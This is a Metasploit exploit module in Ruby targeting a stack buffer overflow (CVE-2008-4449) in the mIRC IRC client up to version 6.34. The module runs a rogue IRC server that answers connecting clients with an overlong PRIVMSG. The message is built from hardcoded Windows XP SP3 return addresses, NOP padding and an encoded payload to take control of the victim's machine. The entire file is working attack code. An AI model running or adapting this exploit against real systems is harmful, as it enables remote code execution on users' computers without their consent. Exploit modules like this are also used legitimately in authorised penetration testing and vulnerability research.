mIRC <= 6.34 PRIVMSG Handling Stack Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TcpServer  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'mIRC <= 6.34 PRIVMSG Handling Stack Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the mIRC IRC Client v6.34 and earlier.  
By enticing a mIRC user to connect to this server module, an excessively long PRIVMSG   
command can be sent, overwriting the stack. Due to size restrictions, ordinal payloads  
may be necessary. This module is based on the code by SkD.  
},  
'Author' => [ 'patrick' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2008-4449' ],  
[ 'OSVDB', '48752' ],  
[ 'BID', '31552' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/6666' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 160,  
'BadChars' => "\x00\x07\x0a\x0b\x0c\x0d\x20\x21\x22\x23\x24\x25\x27\x2a\x2c\x2e\x2f\x3a\x3b\x3c\x3e\x3f\x40\x7b\x7c\x7d", # This is mostly a guess plus some RFC info.  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Patrick - Tested against xpsp3 ok 20090715  
[ 'Windows XP SP3', { 'Rets' => [  
0x7792FBD1, # SETUPAPI.DLL pop eax pop ret  
0x7FFDB5B5,  
0x779D87B7, # SETUPAPI.DLL 0x779D87B7 jmp esp  
] } ]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 02 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The IRC server port to listen on", 6667 ]),  
OptString.new('SRVNAME', [ true, "Welcome to the ... IRC Server Name", "Internet Relay Network" ]),  
], self.class)  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)   
print_status("Client connected! Sending payload...")  
buffer = ":my_irc_server.com 001 wow :Welcome to the #{datastore['SRVNAME']} wow\r\n"  
client.put(buffer)  
end  
  
def on_client_data(client)  
client.get_once  
sleep(2)  
sploit = ":" + Rex::Text.rand_text_alphanumeric(307) + [target['Rets'][0]].pack('V') + [target['Rets'][1]].pack('V')  
sploit << make_nops(4) + [target['Rets'][2]].pack('V') + make_nops(4) + "B" * 12  
sploit << Rex::Arch::X86.jmp_short(3) +Rex::Text.rand_text_alphanumeric(2)   
sploit << make_nops(4) + payload.encoded + make_nops(4) + " PRIVMSG wow : /FINGER wow\r\n"  
client.put(sploit)  
  
handler(client)  
service.close_client(client)  
end  
end  
`